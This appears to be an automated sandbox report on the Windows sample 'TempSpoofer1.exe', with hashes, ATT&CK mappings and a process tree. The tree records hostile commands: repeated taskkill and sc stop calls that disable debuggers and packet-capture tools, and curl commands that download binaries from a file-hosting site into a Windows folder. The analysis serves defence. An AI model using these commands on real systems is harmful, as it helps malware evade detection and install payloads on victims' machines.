1a54e3dd3ee11f50480247c45562ab2d12ba0dc80863020bc44b4e9ee98cd7cc

Analysis

max time kernel
150s
max time network
125s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
22-11-2024 15:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

TempSpoofer1.exe
Size

80KB
MD5

4bade4cf3e468836937dffc66f28833a
SHA1

0c36e2126793f13cc9f30584feb32f637590a951
SHA256

1a54e3dd3ee11f50480247c45562ab2d12ba0dc80863020bc44b4e9ee98cd7cc
SHA512

160f02b8ac61047f3384ea42f40f98b4f3455aca97eae229c911c146a81941e665613ed6989724604956a9b5f4f4a948da1410f0d885a1c9f7ca454ff29497fb
SSDEEP

1536:uOmuEFBmau8ikz/S86fzhge8YaKCuWm5SepcVf:u2Krz/S86rh9CuWm5BpcV

Score

8^/10

evasion execution

Malware Config

Signatures

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2776	sc.exe
1708	sc.exe
3036	sc.exe
2320	sc.exe
368	sc.exe
2416	sc.exe
1680	sc.exe
1044	sc.exe
1068	sc.exe
2372	sc.exe
1048	sc.exe
2316	sc.exe
2328	sc.exe
1880	sc.exe

Kills process with taskkill 26 IoCs

evasion

pid	Process
2200	taskkill.exe
2612	taskkill.exe
332	taskkill.exe
2104	taskkill.exe
2168	taskkill.exe
2808	taskkill.exe
2984	taskkill.exe
2368	taskkill.exe
1264	taskkill.exe
936	taskkill.exe
944	taskkill.exe
2068	taskkill.exe
3016	taskkill.exe
908	taskkill.exe
2460	taskkill.exe
1964	taskkill.exe
2444	taskkill.exe
2980	taskkill.exe
2884	taskkill.exe
2672	taskkill.exe
2796	taskkill.exe
2660	taskkill.exe
2408	taskkill.exe
2404	taskkill.exe
2076	taskkill.exe
1040	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe
2900	TempSpoofer1.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	taskkill.exe
Token: SeDebugPrivilege	2808	taskkill.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	2884	taskkill.exe
Token: SeDebugPrivilege	2672	taskkill.exe
Token: SeDebugPrivilege	2796	taskkill.exe
Token: SeDebugPrivilege	944	taskkill.exe
Token: SeDebugPrivilege	2660	taskkill.exe
Token: SeDebugPrivilege	2200	taskkill.exe
Token: SeDebugPrivilege	2612	taskkill.exe
Token: SeDebugPrivilege	2068	taskkill.exe
Token: SeDebugPrivilege	3016	taskkill.exe
Token: SeDebugPrivilege	2984	taskkill.exe
Token: SeDebugPrivilege	2408	taskkill.exe
Token: SeDebugPrivilege	332	taskkill.exe
Token: SeDebugPrivilege	2368	taskkill.exe
Token: SeDebugPrivilege	2404	taskkill.exe
Token: SeDebugPrivilege	2444	taskkill.exe
Token: SeDebugPrivilege	2076	taskkill.exe
Token: SeDebugPrivilege	1264	taskkill.exe
Token: SeDebugPrivilege	2104	taskkill.exe
Token: SeDebugPrivilege	908	taskkill.exe
Token: SeDebugPrivilege	1040	taskkill.exe
Token: SeDebugPrivilege	2460	taskkill.exe
Token: SeDebugPrivilege	936	taskkill.exe
Token: SeDebugPrivilege	1964	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 2472	2900	TempSpoofer1.exe	31
PID 2900 wrote to memory of 2472	2900	TempSpoofer1.exe	31
PID 2900 wrote to memory of 2472	2900	TempSpoofer1.exe	31
PID 2900 wrote to memory of 2456	2900	TempSpoofer1.exe	32
PID 2900 wrote to memory of 2456	2900	TempSpoofer1.exe	32
PID 2900 wrote to memory of 2456	2900	TempSpoofer1.exe	32
PID 2472 wrote to memory of 2168	2472	cmd.exe	33
PID 2472 wrote to memory of 2168	2472	cmd.exe	33
PID 2472 wrote to memory of 2168	2472	cmd.exe	33
PID 2900 wrote to memory of 3052	2900	TempSpoofer1.exe	35
PID 2900 wrote to memory of 3052	2900	TempSpoofer1.exe	35
PID 2900 wrote to memory of 3052	2900	TempSpoofer1.exe	35
PID 3052 wrote to memory of 2808	3052	cmd.exe	36
PID 3052 wrote to memory of 2808	3052	cmd.exe	36
PID 3052 wrote to memory of 2808	3052	cmd.exe	36
PID 2900 wrote to memory of 2836	2900	TempSpoofer1.exe	37
PID 2900 wrote to memory of 2836	2900	TempSpoofer1.exe	37
PID 2900 wrote to memory of 2836	2900	TempSpoofer1.exe	37
PID 2836 wrote to memory of 2328	2836	cmd.exe	38
PID 2836 wrote to memory of 2328	2836	cmd.exe	38
PID 2836 wrote to memory of 2328	2836	cmd.exe	38
PID 2900 wrote to memory of 2892	2900	TempSpoofer1.exe	39
PID 2900 wrote to memory of 2892	2900	TempSpoofer1.exe	39
PID 2900 wrote to memory of 2892	2900	TempSpoofer1.exe	39
PID 2892 wrote to memory of 2980	2892	cmd.exe	40
PID 2892 wrote to memory of 2980	2892	cmd.exe	40
PID 2892 wrote to memory of 2980	2892	cmd.exe	40
PID 2900 wrote to memory of 2700	2900	TempSpoofer1.exe	41
PID 2900 wrote to memory of 2700	2900	TempSpoofer1.exe	41
PID 2900 wrote to memory of 2700	2900	TempSpoofer1.exe	41
PID 2700 wrote to memory of 2884	2700	cmd.exe	42
PID 2700 wrote to memory of 2884	2700	cmd.exe	42
PID 2700 wrote to memory of 2884	2700	cmd.exe	42
PID 2900 wrote to memory of 2724	2900	TempSpoofer1.exe	43
PID 2900 wrote to memory of 2724	2900	TempSpoofer1.exe	43
PID 2900 wrote to memory of 2724	2900	TempSpoofer1.exe	43
PID 2724 wrote to memory of 2672	2724	cmd.exe	44
PID 2724 wrote to memory of 2672	2724	cmd.exe	44
PID 2724 wrote to memory of 2672	2724	cmd.exe	44
PID 2900 wrote to memory of 2752	2900	TempSpoofer1.exe	45
PID 2900 wrote to memory of 2752	2900	TempSpoofer1.exe	45
PID 2900 wrote to memory of 2752	2900	TempSpoofer1.exe	45
PID 2752 wrote to memory of 2796	2752	cmd.exe	46
PID 2752 wrote to memory of 2796	2752	cmd.exe	46
PID 2752 wrote to memory of 2796	2752	cmd.exe	46
PID 2900 wrote to memory of 2960	2900	TempSpoofer1.exe	47
PID 2900 wrote to memory of 2960	2900	TempSpoofer1.exe	47
PID 2900 wrote to memory of 2960	2900	TempSpoofer1.exe	47
PID 2960 wrote to memory of 944	2960	cmd.exe	48
PID 2960 wrote to memory of 944	2960	cmd.exe	48
PID 2960 wrote to memory of 944	2960	cmd.exe	48
PID 2900 wrote to memory of 1120	2900	TempSpoofer1.exe	49
PID 2900 wrote to memory of 1120	2900	TempSpoofer1.exe	49
PID 2900 wrote to memory of 1120	2900	TempSpoofer1.exe	49
PID 1120 wrote to memory of 2660	1120	cmd.exe	50
PID 1120 wrote to memory of 2660	1120	cmd.exe	50
PID 1120 wrote to memory of 2660	1120	cmd.exe	50
PID 2900 wrote to memory of 1788	2900	TempSpoofer1.exe	51
PID 2900 wrote to memory of 1788	2900	TempSpoofer1.exe	51
PID 2900 wrote to memory of 1788	2900	TempSpoofer1.exe	51
PID 1788 wrote to memory of 2200	1788	cmd.exe	52
PID 1788 wrote to memory of 2200	1788	cmd.exe	52
PID 1788 wrote to memory of 2200	1788	cmd.exe	52
PID 2900 wrote to memory of 432	2900	TempSpoofer1.exe	53

C:\Users\Admin\AppData\Local\Temp\TempSpoofer1.exe
"C:\Users\Admin\AppData\Local\Temp\TempSpoofer1.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im HTTPDebuggerUI.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/sx1s7p.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  PID:2456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im HTTPDebuggerSvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:2328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1120
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq charles*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq charles*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
  2⤵
  PID:432
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq ida*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2180
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq ida*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2412
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2664
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  PID:3020
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:3036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker3 >nul 2>&1
  2⤵
  PID:3004
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker3
    3⤵
    - Launches sc.exe
    PID:2372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker2 >nul 2>&1
  2⤵
  PID:2224
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker2
    3⤵
    - Launches sc.exe
    PID:2776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker1 >nul 2>&1
  2⤵
  PID:1172
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker1
    3⤵
    - Launches sc.exe
    PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop wireshark >nul 2>&1
  2⤵
  PID:1564
- - C:\Windows\system32\sc.exe
    sc stop wireshark
    3⤵
    - Launches sc.exe
    PID:368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop npf >nul 2>&1
  2⤵
  PID:1300
- - C:\Windows\system32\sc.exe
    sc stop npf
    3⤵
    - Launches sc.exe
    PID:2416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1
  2⤵
  PID:2172
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im HTTPDebuggerUI.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/acowqp.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  PID:580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1
  2⤵
  PID:780
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im HTTPDebuggerSvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  PID:320
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:1680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2380
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2432
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2464
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2360
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2340
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T >nul 2>&1
  2⤵
  PID:964
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq charles*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2056
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq charles*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
  2⤵
  PID:1996
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq ida*" /IM * /F /T >nul 2>&1
  2⤵
  PID:1376
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq ida*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  PID:1732
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
  2⤵
  PID:888
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  PID:304
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:1880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker3 >nul 2>&1
  2⤵
  PID:2092
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker3
    3⤵
    - Launches sc.exe
    PID:1044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker2 >nul 2>&1
  2⤵
  PID:3040
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker2
    3⤵
    - Launches sc.exe
    PID:1068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker1 >nul 2>&1
  2⤵
  PID:2236
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker1
    3⤵
    - Launches sc.exe
    PID:1708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop wireshark >nul 2>&1
  2⤵
  PID:2280
- - C:\Windows\system32\sc.exe
    sc stop wireshark
    3⤵
    - Launches sc.exe
    PID:1048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop npf >nul 2>&1
  2⤵
  PID:2284
- - C:\Windows\system32\sc.exe
    sc stop npf
    3⤵
    - Launches sc.exe
    PID:2316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads